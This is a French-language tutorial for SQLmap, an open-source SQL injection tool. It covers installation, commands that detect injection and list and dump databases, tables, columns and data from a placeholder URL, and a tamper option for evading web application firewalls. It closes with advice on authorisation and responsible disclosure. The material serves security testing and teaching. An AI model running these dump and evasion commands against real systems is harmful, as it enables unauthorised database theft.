Manuel sur SQLmap

Introduction

SQLmap est un outil open source utilisé pour automatiser la détection et l'exploitation des vulnérabilités d'injection SQL dans les applications web. Il est conçu pour faciliter les tests de sécurité en permettant aux testeurs d'intrusion d'exploiter ces failles afin de comprendre les risques pour une application donnée.

Installation de SQLmap

SQLmap peut être installé sur différents systèmes d'exploitation, y compris Windows, macOS et Linux.

Prérequis :

- Python 2.6 ou supérieur, ou Python 3.x

Installation sur Linux/MacOS

1. **Téléchargement :**

```
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
```

2. **Accéder au répertoire :**

```
cd sqlmap-dev
```

Installation sur Windows

1. **Télécharger le ZIP :**

- Téléchargez SQLmap depuis le dépôt officiel : SQLmap GitHub.

2. **Extraire le ZIP :**

- Extrayez le fichier ZIP téléchargé.

3. **Accéder au répertoire :**

- Ouvrez l'invite de commande et naviguez jusqu'au répertoire extrait.

Utilisation de base

SQLmap offre une gamme complète de fonctionnalités pour détecter et exploiter les vulnérabilités SQL. Voici les commandes de base pour commencer :

1. Détection de vulnérabilité SQL

Pour vérifier si une URL est vulnérable à une injection SQL, utilisez :

```
python sqlmap.py -u "http://example.com/vuln.php?id=1"
```

2. Détection et extraction des bases de données

Pour détecter les bases de données présentes sur le serveur cible, utilisez :

```
python sqlmap.py -u "http://example.com/vuln.php?id=1" --dbs
```

3. Détection et extraction des tables

Pour lister les tables d'une base de données spécifique, utilisez :

```
python sqlmap.py -u "http://example.com/vuln.php?id=1" -D database_name --tables
```

4. Extraction des colonnes

Pour lister les colonnes d'une table spécifique, utilisez :

```
python sqlmap.py -u "http://example.com/vuln.php?id=1" -D database_name -T table_name --columns
```

5. Extraction des données

Pour extraire les données d'une colonne spécifique, utilisez :

```
python sqlmap.py -u "http://example.com/vuln.php?id=1" -D database_name -T table_name -C column_name --dump
```

Options avancées

SQLmap dispose de nombreuses options avancées pour affiner et personnaliser les tests.

1. Spécification du type de base de données

SQLmap peut cibler des types spécifiques de bases de données, tels que MySQL, PostgreSQL, Oracle, etc. Utilisez l'option `--dbms` pour spécifier le type :

```
python sqlmap.py -u "http://example.com/vuln.php?id=1" --dbms=mysql
```

2. Utilisation de proxy

Pour acheminer le trafic via un proxy, utilisez l'option `--proxy` :

```
python sqlmap.py -u "http://example.com/vuln.php?id=1" --proxy=http://127.0.0.1:8080
```

3. Bypass des WAF/IPS

Pour contourner les pare-feux d'application web (WAF) ou les systèmes de prévention des intrusions (IPS), SQLmap propose l'option `--tamper` pour utiliser des scripts de contournement :

```
python sqlmap.py -u "http://example.com/vuln.php?id=1" --tamper=space2comment
```

Automatisation et scripts

SQLmap peut être automatisé à l'aide de scripts et d'options en ligne de commande. Vous pouvez créer des scripts bash ou batch pour exécuter des séquences de commandes SQLmap.

Conseils de sécurité

L'utilisation de SQLmap doit être effectuée de manière éthique et légale. Voici quelques conseils :

1. **Obtenez une autorisation** : N'utilisez SQLmap que sur des systèmes pour lesquels vous avez une autorisation explicite de tester.
2. **Soyez prudent** : Les tests de sécurité peuvent causer des perturbations. Effectuez les tests de manière à minimiser l'impact sur le système cible.
3. **Signalez les vulnérabilités** : Si vous trouvez une vulnérabilité, signalez-la de manière responsable à l'équipe de sécurité de l'application cible.

Conclusion

SQLmap est un outil puissant pour les tests de sécurité des applications web. En suivant ce manuel, vous pouvez commencer à utiliser SQLmap pour détecter et exploiter les vulnérabilités SQL de manière éthique et efficace. Assurez-vous de toujours respecter les lois et les règles de bonne conduite en matière de cybersécurité.